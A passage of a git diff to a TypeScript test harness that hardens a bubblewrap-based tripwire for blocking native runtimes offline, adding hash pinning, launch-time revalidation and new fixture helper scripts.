[...paths].sort(); @@ -1867,11 +2269,11 @@ function unknownProductCapabilities(payload:readonly string[]):string[] { } const TRIPWIRE_SETUP_RECORD='{"kind":"native-offline-boundary","success":false,"nativeLaunched":false,"reason":"restriction cannot be enforced"}\n'; const TRIPWIRE_RECORD='{"kind":"native-offline-boundary","success":false,"nativeLaunched":false,"reason":"installed native runtime blocked by tripwire"}\n'; -interface TripwireRuntime {directory:string;stub:string;eventTarget:string;installer:string;supervisor:string} +interface TripwireRuntime {directory:string;stub:string;eventTarget:string;installer:string;supervisor:string;keys:ReadonlyMap;hashes:ReadonlyMap} let tripwireRuntime:TripwireRuntime|undefined; const tripwireFinalizers=new Set<()=>void>(); function prepareTripwireRuntime():TripwireRuntime { - if(tripwireRuntime)return tripwireRuntime; + if(tripwireRuntime){for(const [path,key] of tripwireRuntime.keys)if(fixturePathKey(path)!==key)refuse("shared runtime mask setup changed");return tripwireRuntime;} const directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-mask-runtime-")),stub=join(directory,"tripwire"),eventTarget=join(directory,"event"),installer=join(directory,"install-masks"),supervisor=join(directory,"supervisor"); chmodSync(directory,0o700);writeFileSync(eventTarget,"",{mode:0o600}); const stubSource=`#define _GNU_SOURCE\n#include \n#include \nint main(void){const char record[]=${JSON.stringify(TRIPWIRE_RECORD)};int fd=open(${JSON.stringify(eventTarget)},O_WRONLY|O_APPEND|O_NOFOLLOW);if(fd>=0){(void)write(fd,record,sizeof(record)-1);(void)close(fd);}const char message[]="Offline native runtime refused by tripwire\\n";(void)write(2,message,sizeof(message)-1);return 126;}\n`; @@ -1976,7 +2378,7 @@ int main(int argc,char **argv){ const compiled=metadataSpawnSync(["cc","-static","-Os","-std=c11","-x","c","-","-o",target!],{stdin:Buffer.from(source!),stdout:"pipe",stderr:"pipe",env:{PATH:"/usr/bin:/bin",LANG:"C"},timeout:30000}); if(compiled.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(compiled.stderr)));chmodSync(target!,0o555); } - tripwireRuntime={directory,stub,eventTarget,installer,supervisor}; + tripwireRuntime={directory,stub,eventTarget,installer,supervisor,keys:new Map([directory,stub,installer,supervisor].map(path=>[path,fixturePathKey(path)])),hashes:new Map([stub,installer,supervisor].map(path=>[path,fileHash(path)]))}; process.prependOnceListener("exit",()=>{for(const finish of [...tripwireFinalizers])finish();rmSync(directory,{recursive:true,force:true});}); return tripwireRuntime; }catch(error){rmSync(directory,{recursive:true,force:true});throw error;} @@ -1984,13 +2386,16 @@ int main(int argc,char **argv){ /** Unknown code receives neither native receipt descriptors nor provider authority. */ export function nativeUnknownBoundary(command:readonly string[],options:SpawnContext={},workerUid?:number,preserveProductPlan=false) { + return guardTiming("mask-setup",()=>fixtureWalk(()=>nativeUnknownBoundaryInWalk(command,options,workerUid,preserveProductPlan))); +} +function nativeUnknownBoundaryInWalk(command:readonly string[],options:SpawnContext,workerUid:number|undefined,preserveProductPlan:boolean) { // The loader runs before bwrap can install any bind. Preserve the payload's // environment, but refuse a bootstrap whose loader could replace our tools. if(Object.entries(options.env??process.env).some(([key,value])=>value&&/^(?:LD_|DYLD_)/.test(key)))refuse("restriction cannot be enforced"); // A missing entrypoint cannot run: retain the ordinary spawn ENOENT instead // of turning a deliberate missing-driver fixture into an isolation refusal. resolveExecutable(command[0]!,options); - const shared=prepareTripwireRuntime(),stub=shared.stub,directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-tripwire-")),event=join(directory,"event"),log=join(directory,"exec.log"); + const fixedProbe=metadataProbeMaskPlans.has(command),shared=prepareTripwireRuntime(),stub=shared.stub,directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-tripwire-")),event=join(directory,"event"),log=join(directory,"exec.log"); writeFileSync(event,"",{mode:0o600});writeFileSync(log,"",{mode:0o600}); let complete=false,failed=false,auditUnavailable=false,disposing=false,timer:ReturnType|undefined;let forkOwner:{pid:number;start:string}|undefined; const report=(reason:string,stage?:"stub-identity"|"tripwire-record",errno?:string)=>{if(failed)return;failed=true;denied++;process.exitCode=1;nativeReceipt({kind:"native-offline-boundary",head:nativeTestHead(),classification:"unknown",restriction:"tripwire",success:false,nativeLaunched:false,reason,...(stage?{stage}:{}),...(errno&&["ENOENT","EACCES","EPERM","IDENTITY_CHANGED","INVALID_RECORD"].includes(errno)?{errno}:{} )});}; @@ -1998,9 +2403,15 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon let outerAudit:ReturnType|undefined,sharedAudit:ReturnType; const cleanup=()=>{clearInterval(timer);launchReady?.dispose();outerAudit?.close();sharedAudit?.dispose();rmSync(directory,{recursive:true,force:true});}; try{ - const stamp=lstatSync(stub,{bigint:true}),masks=nativeTripwireMaskPaths(options),bwrap=metadataWhich("bwrap",{PATH:GUARD_TOOL_PATH}),strace=metadataWhich("strace",{PATH:GUARD_TOOL_PATH}); + const stamp=lstatSync(stub,{bigint:true}),masks=nativeTripwireMaskPaths(options),bwrap=metadataWhich("bwrap",{PATH:GUARD_TOOL_PATH}),strace=fixedProbe?undefined:metadataWhich("strace",{PATH:GUARD_TOOL_PATH}); if(!bwrap||!masks.length)refuse("restriction cannot be enforced"); if(workerUid!==undefined&&(!auditAcl("set",workerUid,directory,event)||!auditAcl("set",workerUid,directory,log)||!auditAcl("set",workerUid,shared.directory,shared.stub)||!auditAcl("set",workerUid,shared.directory,shared.installer)))refuse("restriction cannot be enforced"); + if(workerUid!==undefined){ + // The fixed ACL writer intentionally changes metadata. Accept that update + // only after re-inspecting the original compiled bytes, then pin its keys. + for(const [path,hash] of shared.hashes)if(fileHash(path)!==hash)refuse("shared runtime mask setup changed"); + shared.keys=new Map([...shared.keys.keys()].map(path=>[path,fixturePathKey(path)])); + } const mounts=["--ro-bind",shared.directory,shared.directory,"--ro-bind",directory,directory,"--bind",event,shared.eventTarget,...Array.from(new Set(masks.map(path=>realpathSync(path)))).flatMap(path=>["--ro-bind",stub,path])]; const install=(payload:readonly string[])=>[shared.installer,stub,event,shared.directory,directory,String(new Set(masks.map(path=>realpathSync(path))).size),...new Set(masks.map(path=>realpathSync(path))),"--",...payload]; let argv=[...command];let statusIdentity:{source:string;dev:number;ino:number}|undefined;const at=unknownBwrapPosition(argv,bwrap,options),productUnshare=unknownProductUnshare(argv,options); @@ -2008,7 +2419,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon const probeCommand=[bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--","/usr/bin/true"]; const probe=metadataSpawnSync(probeCommand,{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); if(probe.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(probe.stderr))); - try{sharedAudit=borrowNativeAudit(reason=>report(reason));if(!sharedAudit&&strace)outerAudit=ownNativeAudit(log,strace);}catch(error){refuse(error instanceof Error?error.message:"native outer audit ownership unavailable");} + try{if(!fixedProbe){sharedAudit=borrowNativeAudit(reason=>report(reason));if(!sharedAudit&&strace)outerAudit=ownNativeAudit(log,strace);}}catch(error){refuse(error instanceof Error?error.message:"native outer audit ownership unavailable");} const tracePrefix=strace&&!sharedAudit?[strace,"-D","-I","1","--kill-on-exit","-f","-qq","-s","0","-e","trace=connect,%process,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4","-o",log,"--"]:[]; const forkOwnerFile=at===5&&argv[4]===NATIVE_FIXTURE_FORK_EXEC?join(directory,"fork-owner"):undefined; @@ -2083,12 +2494,20 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon timer=setInterval(()=>{inspect();if(disposing)finish();},20);timer.unref(); const encoded=JSON.stringify(argv); const launchEnv:Record={...(options.env??process.env),...(outerAudit?.env??sharedAudit?.env??{})};delete launchEnv.BRAIN_NATIVE_RECEIPT; - const boundary={argv,env:launchEnv,maskBinds:Object.freeze([...mounts]),unknown:true as const,forSynchronousSpawn():GuardedPlan{if(!launchReady)return boundary;finish();return nativeUnknownBoundary(command,{...options,synchronous:true},workerUid,preserveProductPlan);},nativeExecuted:()=>false,afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);try{launchReady?.afterSpawn(pid,()=>sharedAudit?.beforeLaunch());}catch{refuse("restriction cannot be enforced");}},beforeLaunch(){nativeManagedCandidateDirectories(command);sharedAudit?.beforeLaunch();if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; - guardedPlans.add(argv);guardedBoundaries.set(argv,boundary);return boundary; + const managedInspectionPin=JSON.stringify([...nativeManagedCandidateDirectories(command)]); + const boundary={argv,env:launchEnv,maskBinds:Object.freeze([...mounts]),unknown:true as const,forSynchronousSpawn():GuardedPlan{if(!launchReady)return boundary;finish();return nativeUnknownBoundary(command,{...options,synchronous:true},workerUid,preserveProductPlan);},nativeExecuted:()=>false,afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);try{launchReady?.afterSpawn(pid,()=>sharedAudit?.beforeLaunch());}catch{refuse("restriction cannot be enforced");}},beforeLaunch(){if(JSON.stringify(nativeTripwireMaskPaths(options))!==JSON.stringify(masks))refuse("runtime mask candidates changed before launch");if(JSON.stringify([...nativeManagedCandidateDirectories(command)])!==managedInspectionPin)refuse("managed fixture inspection changed after planning");sharedAudit?.beforeLaunch();if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; + const check=boundary.beforeLaunch;boundary.beforeLaunch=()=>guardTiming("launch-validation",()=>fixtureWalk(()=>{check(); + // Reuse during classification cannot cover a write later in that walk. + // Check the complete live stage again at the actual execution edge. + fixtureWalk(()=>{if(JSON.stringify([...nativeManagedCandidateDirectories(command)])!==managedInspectionPin)refuse("managed fixture inspection changed before execution");},true); + },true));guardedPlans.add(argv);guardedBoundaries.set(argv,boundary);return boundary; }catch(error){cleanup();throw error;} } /** Inspect the concrete existing worker bootstrap, including its exec payload. */ export function nativeWorkerBoundary(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void; afterSpawn?(pid:number):void; observe?(pid:number):void; nativeExecuted?():boolean;unknown?:boolean } { + return guardTiming("plan-inspection",()=>fixtureWalk(()=>nativeWorkerBoundaryInWalk(env))); +} +function nativeWorkerBoundaryInWalk(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void; afterSpawn?(pid:number):void; observe?(pid:number):void; nativeExecuted?():boolean;unknown?:boolean } { const unchanged = { native: false, env, dispose() {}, beforeLaunch() {} }; if (!env.BRAIN_WORKER_LAUNCH) return unchanged; let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string; hostHome?: string } | null; @@ -2112,14 +2531,19 @@ export function nativeWorkerBoundary(env: Record): { workerArgv = supervisor.argv; } const command = launch.command!; + const probe=fixtureProbeContext.getStore(),probeStorage=probe?.storage as ManagedFixtureStorage|undefined; + const probeOnly=Boolean(probeStorage&&fixtureKeepers.get(probeStorage.namespacePid)?.metadataOnly),qualification=guardIdentityQualification.getStore(); + if(probeOnly&&(!fixtureProbeCommand(command,probeStorage!.allowanceBytes)||nativeBwrapIndex(workerArgv)<0||!nativeManagedCandidateDirectories(workerArgv).has(join(probeStorage!.mount,"merged"))||JSON.stringify(workerArgv.slice(-command.length))!==JSON.stringify(command)))refuse("metadata-only probe launch chain differs"); const classes=[nativeWorkerClassification(command,context),nativeWorkerClassification(workerArgv,context)]; + if((probeOnly||qualification)&&classes.includes("native"))refuse("metadata-only probe cannot admit a native runtime"); if(!classes.includes("native")){ - if(!classes.includes("unknown"))return unchanged; + if(!classes.includes("unknown")&&!probeOnly&&!qualification)return unchanged; const identity=supervisor&&launch.brainPath?(createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts")).verifiedWorkerIdentity(launch.brainPath):undefined; - const restricted=nativeUnknownBoundary(workerArgv,context,identity?.workerUid); + if(probeOnly||qualification)metadataProbeMaskPlans.add(workerArgv); + const restricted=nativeUnknownBoundary(workerArgv,context,qualification?.uid??identity?.workerUid); if(supervisor){supervisor.argv=restricted.argv;argv[5]=JSON.stringify(supervisor);launch.argv=argv;}else launch.argv=restricted.argv; if(launch.env)delete launch.env.BRAIN_NATIVE_RECEIPT; - return {...restricted,native:false,env:{...env,...Object.fromEntries(Object.entries(restricted.env).filter(([key])=>key==="BRAIN_NATIVE_EXEC_AUDIT")),BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}}; + return {...restricted,native:false,afterSpawn(pid:number){restricted.afterSpawn(pid);const scope=scriptedRoute.getStore();if(scope)recordFixtureWorkerSpawn(pid,originalLaunch,scope,restricted);},env:{...env,...Object.fromEntries(Object.entries(restricted.env).filter(([key])=>key==="BRAIN_NATIVE_EXEC_AUDIT")),BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}}; } try { argv[0] = resolveExecutable(argv[0]!, context); workerArgv[0] = resolveExecutable(workerArgv[0]!, context); } catch { refuse("worker executable could not be resolved"); } @@ -2202,7 +2626,7 @@ export function nativeWorkerBoundary(env: Record): { if(selected.length!==1)refuse("native executable pin requires one selected runtime"); const target=selected[0]!; if(nativeTripwireMaskPaths(context).some(path=>path!==target&&realpathSync(path)===target))refuse("native executable pin cannot expose another runtime spelling"); - const live=()=>{if(!route.isLive())throw Error("native executable scripted authority expired");route.revalidate?.();}; + const live=()=>guardTiming("executable-transfer",()=>fixtureWalk(()=>{if(!route.isLive())throw Error("native executable scripted authority expired");route.revalidate?.();keeper.refresh();},true)); try{executablePin=pinNativeWorkerExecutable(target,live,reason=>refuse(reason));} catch(error){return refuse(error instanceof Error?error.message:"native executable pin unavailable");} workerArgv.splice(workerArgv.indexOf("--",bwrap),0,...executablePin.mount); @@ -2235,7 +2659,10 @@ export function nativeWorkerBoundary(env: Record): { nativeReceipt({kind:"native-offline-worker-plan",head:nativeTestHead(), bootstrapArgc:launch.argv!.length,bootstrapArgvBytes:Buffer.byteLength(JSON.stringify(launch.argv)), sandboxArgc:workerArgv.length,sandboxArgvBytes:Buffer.byteLength(JSON.stringify(workerArgv)),metadataBytes:Buffer.byteLength(encoded)}); - const finalBeforeLaunch=()=>{beforeLaunch();audited.beforeLaunch();try{title?.validate();executablePin?.beforeLaunch();}catch(error){refuse(error instanceof Error?error.message:"native executable pin unavailable");}}; + const finalBeforeLaunch=()=>guardTiming("launch-validation",()=>fixtureWalk(()=>{beforeLaunch();audited.beforeLaunch();try{title?.validate();executablePin?.beforeLaunch();}catch(error){refuse(error instanceof Error?error.message:"native executable pin unavailable");} + // This complete check follows the walk, independently of its reused result. + fixtureWalk(()=>keeper?.refresh(),true); + },true)); return { native: true, env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch:finalBeforeLaunch,afterSpawn(pid){audited.afterSpawn(pid);executablePin?.afterSpawn(pid);recordFixtureWorkerSpawn(pid,originalLaunch,route);},nativeExecuted:audited.nativeExecuted,observe(pid){observeNativeFixtureRtkSpawn(pid,originalLaunch,expected,audited.liveExecs);} }; } catch (error) { disposeBridge(); throw error; } } diff --git a/tests/experiment-tier.test.ts b/tests/experiment-tier.test.ts index 9b2975dffe..5a88ab41d9 100644 --- a/tests/experiment-tier.test.ts +++ b/tests/experiment-tier.test.ts @@ -17,7 +17,7 @@ import { const ROOT = join(import.meta.dir, ".."); const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-experiments.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", - "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; + "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; const passing = (name: string) => `import { expect, test } from "bun:test";\ntest(${JSON.stringify(name)}, () => expect(1).toBe(1));\n`; diff --git a/tests/helpers/native-managed-proof.ts b/tests/helpers/native-managed-proof.ts index c3f6ef7fcd..82469cee80 100644 --- a/tests/helpers/native-managed-proof.ts +++ b/tests/helpers/native-managed-proof.ts @@ -1,20 +1,40 @@ /** Observe the real managed allocator; keep its identity and publication logic. */ import {spyOn} from "bun:test"; +import {AsyncLocalStorage} from "node:async_hooks"; import * as output from "../../packages/ui-sdk/src/server/worker-native-output"; -import {registerNativeFixtureManagedKeeper,nativeScriptedService} from "../../scripts/test-native-guard"; +import * as managers from "../../packages/ui-sdk/src/server/native-brain-manager-client"; +import {registerNativeFixtureManagedKeeper,nativeScriptedService,nativeFixtureManagerClient,observeNativeFixturePreparations} from "../../scripts/test-native-guard"; import {existsSync} from "node:fs"; +// Bun reuses an existing spy object. Capture the real factories once and install +// each observer once; nested fixtures own only their own registrations. +const realManager=managers.createNativeBrainManagerClient,realPrepare=output.prepareNativeWorkerOutput; +const managerContext=new AsyncLocalStorage<{active:boolean}|undefined>(); +let managerObservers=0,managerObserver:ReturnType|undefined; +export function observeNativeFixtureManagers():()=>void { + const previous=managerContext.getStore(),context={active:true};managerContext.enterWith(context); + const stopPreparations=observeNativeFixturePreparations(); + if(managerObservers++===0)managerObserver=spyOn(managers,"createNativeBrainManagerClient").mockImplementation(options=>{ + const owner=managerContext.getStore();return owner?nativeFixtureManagerClient(options,()=>owner.active):realManager(options); + }); + return ()=>{if(!context.active)return;context.active=false;if(managerContext.getStore()===context)managerContext.enterWith(previous);if(--managerObservers===0){managerObserver?.mockRestore();managerObserver=undefined;}stopPreparations();}; +} + +type StageObservation={closed:boolean;releases:Set<()=>void>}; +const stageContext=new AsyncLocalStorage(); +let stageObservers=0,stageObserver:ReturnType|undefined; export function observeNativeProofStages():()=>void { - const prepare=output.prepareNativeWorkerOutput,releases=new Set<()=>void>(); - const observer=spyOn(output,"prepareNativeWorkerOutput").mockImplementation(async(...args)=>{ - const prepared=await prepare(...args);let unregister:()=>void; - try{unregister=await registerNativeFixtureManagedKeeper(prepared.output.storage,prepared.view,args[1].areas??[]);}catch(error){await prepared.cleanup();throw error;} - const release=()=>{releases.delete(release);unregister();};releases.add(release); + const closeManagers=observeNativeFixtureManagers(),previous=stageContext.getStore(),context:StageObservation={closed:false,releases:new Set()};stageContext.enterWith(context); + if(stageObservers++===0)stageObserver=spyOn(output,"prepareNativeWorkerOutput").mockImplementation(async(...args)=>{ + const owner=stageContext.getStore(),prepared=await realPrepare(...args);if(!owner)return prepared; + let unregister:()=>void; + try{if(owner.closed)throw Error("Fixture stage observation expired");unregister=await registerNativeFixtureManagedKeeper(prepared.output.storage,prepared.view,args[1].areas??[]);if(owner.closed){unregister();throw Error("Fixture stage observation expired");}}catch(error){await prepared.cleanup();throw error;} + const release=()=>{owner.releases.delete(release);unregister();};owner.releases.add(release); const cleanup=prepared.cleanup.bind(prepared);let closing:Promise|undefined; prepared.cleanup=()=>closing??=(async()=>{try{await cleanup();}finally{release();}})(); return prepared; }); - return ()=>{observer.mockRestore();for(const release of [...releases])release();}; + return ()=>{if(context.closed)return;context.closed=true;if(stageContext.getStore()===context)stageContext.enterWith(previous);try{for(const release of [...context.releases])release();}finally{if(--stageObservers===0){stageObserver?.mockRestore();stageObserver=undefined;}closeManagers();}}; } /** Keyless manager controls have no model service; pin their fixture lifetime. */ diff --git a/tests/helpers/native-stage-metadata-fixture.ts b/tests/helpers/native-stage-metadata-fixture.ts new file mode 100644 index 0000000000..54d2165927 --- /dev/null +++ b/tests/helpers/native-stage-metadata-fixture.ts @@ -0,0 +1,39 @@ +/** Transparent fixture observer; production manager/stage return values stay real. */ +import {spyOn} from "bun:test"; +import * as stages from "../../packages/ui-sdk/src/server/native-brain-stage"; +import {serveNativeBrainManager,type NativeBrainManagerConfig,type NativeBrainManagerOptions} from "../../packages/ui-sdk/src/server/native-brain-manager"; +import {nativeStageMetadataSocket} from "../../scripts/native-stage-metadata-channel"; +import {join} from "node:path"; +import {readFileSync,statSync} from "node:fs"; +import {NATIVE_CHECKPOINT_READER_PROGRAM} from "../../packages/ui-sdk/src/server/native-checkpoint-reader"; +const realStart=stages.startNativeStage; +const configurations=new Set<{config:NativeBrainManagerConfig;channels:Set<()=>Promise>}>(); +let observer:ReturnType|undefined; +export async function serveNativeFixtureBrainManager(config:NativeBrainManagerConfig,options?:NativeBrainManagerOptions){ + const registration={config,channels:new Set<()=>Promise>()};configurations.add(registration); + observer??=spyOn(stages,"startNativeStage").mockImplementation(async input=>{ + const handle=await realStart(input),owner=[...configurations].find(({config})=>input.workerUid!==undefined&&input.path===join(config.storePath,".brain-native/stages",input.id)&&config.appUid===input.appUid&&config.appGid===input.appGid&&config.workerUid===input.workerUid); + if(!owner)return handle; + const source=readFileSync(join(import.meta.dir,"../../packages/ui-sdk/src/server/native-brain-stage.ts"),"utf8"),program=/const STAGE_PROGRAM = String.raw`([\s\S]*?)`;/m.exec(source)?.[1]; + if(!program){await handle.close();throw Error("Production stage program unavailable");} + const expected=["/usr/bin/python3","-I","-S","-c",program,input.path,input.lower,String(input.appUid),String(input.appGid),String(input.allowanceBytes),String(input.workerUid??0),NATIVE_CHECKPOINT_READER_PROGRAM,String(input.timeoutMs/1000)]; + let readerPid=handle.stage.namespacePid,readerStart:string|undefined,readerNamespace:string|undefined; + for(let depth=0;readerPid>1&&depth<32;depth++){ + const status=readFileSync(`/proc/${readerPid}/status`,"utf8"),args=readFileSync(`/proc/${readerPid}/cmdline`,"utf8").split("\0").slice(0,-1); + if(/^Uid:\s+0\s+0\s+0\s+0$/m.test(status)&&JSON.stringify(args)===JSON.stringify(expected)&&statSync(`/proc/${readerPid}/ns/user`,{bigint:true}).ino===statSync("/proc/self/ns/user",{bigint:true}).ino){readerStart=readFileSync(`/proc/${readerPid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19];readerNamespace=String(statSync(`/proc/${readerPid}/ns/mnt`,{bigint:true}).ino);break;} + const parent=/^PPid:\s+(\d+)/m.exec(status);if(!parent)break;readerPid=Number(parent[1]); + } + if(!readerStart||!readerNamespace){await handle.close();throw Error("Exact production stage owner unavailable");} + const data={readerPid,readerStart,readerNamespace,socket:nativeStageMetadataSocket(owner.config.socketPath,input.id),id:input.id,pid:handle.stage.namespacePid,start:handle.stage.namespaceStart,namespace:handle.mountNamespaceInode,root:input.path+"/merged",dev:handle.mergedDevice,ino:handle.mergedInode,appUid:input.appUid,gid:input.appGid,workerUid:input.workerUid}; + const child=Bun.spawn(["/usr/bin/python3","-I","-S",join(import.meta.dir,"../../scripts/native-stage-metadata-channel.py"),JSON.stringify(data)],{env:{},stdin:"ignore",stdout:"pipe",stderr:"pipe"}); + const errors=new Response(child.stderr).text();void errors.catch(()=>{}); + let closing:Promise|undefined; + const close=()=>closing??=(async()=>{owner.channels.delete(close);try{child.kill("SIGTERM");}catch{}await child.exited;await errors;})();owner.channels.add(close); + try{const reader=child.stdout.getReader();const first=await reader.read();if(first.done||new TextDecoder().decode(first.value).trim()!=='{"ready":true}')throw Error("Fixture metadata channel failed readiness");reader.releaseLock();} + catch(error){await close();await handle.close();throw Error(String(error)+": "+(await errors).slice(-2000));} + const original=handle.close.bind(handle);handle.close=async()=>{try{await close();}finally{await original();}};return handle; + }); + const release=async()=>{configurations.delete(registration);for(const close of [...registration.channels])await close();if(!configurations.size){observer?.mockRestore();observer=undefined;}}; + try{const service=await serveNativeBrainManager(config,options),close=service.close.bind(service);let closing:Promise|undefined;service.close=()=>closing??=(async()=>{try{await close();}finally{await release();}})();return service;} + catch(error){await release();throw error;} +} diff --git a/tests/helpers/test-invocation-fixture.ts b/tests/helpers/test-invocation-fixture.ts index 74cea51a8b..790fda46a8 100644 --- a/tests/helpers/test-invocation-fixture.ts +++ b/tests/helpers/test-invocation-fixture.ts @@ -10,7 +10,7 @@ export function invocationFixture(parent = tmpdir()) { write("bun.lock", "{}\n"); write(".gitignore", "node_modules/\npackages/*/dist/\ntmp/\n"); write("tsconfig.json", JSON.stringify({ compilerOptions: { target: "ES2019", module: "ESNext", moduleResolution: "Bundler", types: [], skipLibCheck: true } })); - for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { + for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { write(`scripts/${file}`, readFileSync(join(source, "scripts", file), "utf8")); } for (const file of ["packages/core/tests/cli-harness.ts", "packages/ui-react/tests/fixtures/runtime-package-build.ts", "packages/ui-react/tests/fixtures/runtime-hook-phases.ts"]) write(file, readFileSync(join(source, file), "utf8")); diff --git a/tests/helpers/unit-worker-fixture.ts b/tests/helpers/unit-worker-fixture.ts index 21bd57d74a..cfdd3edde9 100644 --- a/tests/helpers/unit-worker-fixture.ts +++ b/tests/helpers/unit-worker-fixture.ts @@ -74,7 +74,7 @@ const stop=Date.now()+5000;while((!existsSync(join(shared,"built-1"))||!existsSy ${options.failBuild ? "process.exit(7);" : ""} mkdirSync("dist",{recursive:true});writeFileSync("dist/lease.json",JSON.stringify({lease:JSON.parse(process.env.BRAIN_WORKSPACE_LEASE),nonce:process.env.BRAIN_TEST_INVOCATION_NONCE}));writeFileSync("dist/ready.txt","Odysseus builds the raft.");receipt.packageEnd("raft",true);receipt.finish(0);\n`); for (const file of ["scripts/test.ts", "scripts/runtime-test-builds.ts", "scripts/test-invocation.ts", "scripts/test-invocation-child.ts", "scripts/publishable-packages.ts", - "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/test-native-guard.ts", "scripts/native-test-receipts.ts", "scripts/native-device-diagnostics.ts", "scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-launch-ready.ts", "scripts/test-deadlines.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts", "packages/core/tests/cli-harness.ts"]) { + "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/test-native-guard.ts", "scripts/native-test-receipts.ts", "scripts/native-device-diagnostics.ts", "scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-opaque-stage.ts", "scripts/native-stage-metadata-channel.ts", "scripts/native-launch-ready.ts", "scripts/test-deadlines.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts", "packages/core/tests/cli-harness.ts"]) { write(file, readFileSync(join(source, file), "utf8")); } const files = ["odysseus", "penelope"].map(name => `tests/${name}.test.ts`); diff --git a/tests/local-checks.test.ts b/tests/local-checks.test.ts index 683eaf8cce..27b89ab42b 100644 --- a/tests/local-checks.test.ts +++ b/tests/local-checks.test.ts @@ -423,7 +423,7 @@ function importFixture() { const dir = fixture(); const root = join(import.meta.dir, ".."); mkdirSync(join(dir, "scripts")); - for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", 